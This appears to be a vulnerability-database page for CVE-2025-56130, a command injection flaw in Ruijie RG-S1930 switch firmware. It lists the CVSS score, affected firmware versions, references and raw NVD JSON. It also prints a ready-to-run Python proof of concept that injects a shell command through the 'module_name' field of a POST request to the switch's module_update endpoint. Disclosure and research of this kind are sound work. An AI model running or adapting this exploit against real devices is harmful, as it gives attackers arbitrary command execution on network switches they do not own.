Security Vulnerability Report
中文
CVE-2025-56130 CVSS 8.8 HIGH

CVE-2025-56130

Published: 2025-12-11 19:15:58
Last Modified: 2025-12-31 01:52:19

Description

OS Command Injection vulnerability in Ruijie RG-S1930 S1930SWITCH_3.0(1)B11P230 allowing attackers to execute arbitrary commands via a crafted POST request to the module_update in file /usr/local/lua/dev_config/ace_sw.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-nbs5100-24gt4sfp_firmware:3.0\(1\)b11p248:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-nbs5100-24gt4sfp:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-s1930_firmware:3.0\(1\)b11p230:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-s1930:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-S1930 S1930SWITCH_3.0(1)B11P230及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56130 PoC - Ruijie RG-S1930 OS Command Injection # Target: module_update in /usr/local/lua/dev_config/ace_sw.lua def exploit(target_ip, target_port=443, cmd='whoami'): """Execute arbitrary command on Ruijie RG-S1930 switch""" url = f"https://{target_ip}:{target_port}/lua/module_update" # Payload construction - command injection via POST parameter # Using semicolon to chain commands payload = f";{cmd}" data = { 'module_name': 'test' + payload, 'action': 'update' } try: response = requests.post(url, data=data, verify=False, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [cmd]") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else 'whoami' exploit(target, 443, command)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56130", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:58.133", "lastModified": "2025-12-31T01:52:19.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-S1930 S1930SWITCH_3.0(1)B11P230 allowing attackers to execute arbitrary commands via a crafted POST request to the module_update in file /usr/local/lua/dev_config/ace_sw.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-nbs5100-24gt4sfp_firmware:3.0\\(1\\)b11p248:*:*:*:*:*:*:*", "matchCriteriaId": "194E4562-122F-40DD-BDFB-6DF2D67F41DC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-nbs5100-24gt4sfp:-:*:*:*:*:*:*:*", "matchCriteriaId": "804892AE-BD41-400C-BD48-3B3A6BA85F58"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-s1930_firmware:3.0\\(1\\)b11p230:*:*:*:*:*:*:*", "matchCriteriaId": "F2A287AD-BA35-4576-8374-9C2CFC60DA65"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-s1930:-:*:*:*:*:*:*:*", "matchCriteriaId": "6136A4EC-30FE-4C7C-94B5-218BDB022F41"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EpWU9cQdd5RNszcYlTj2cGsBfiClkCwF0zCsLNYer2VIZA?e=ANIgPM", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56130.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}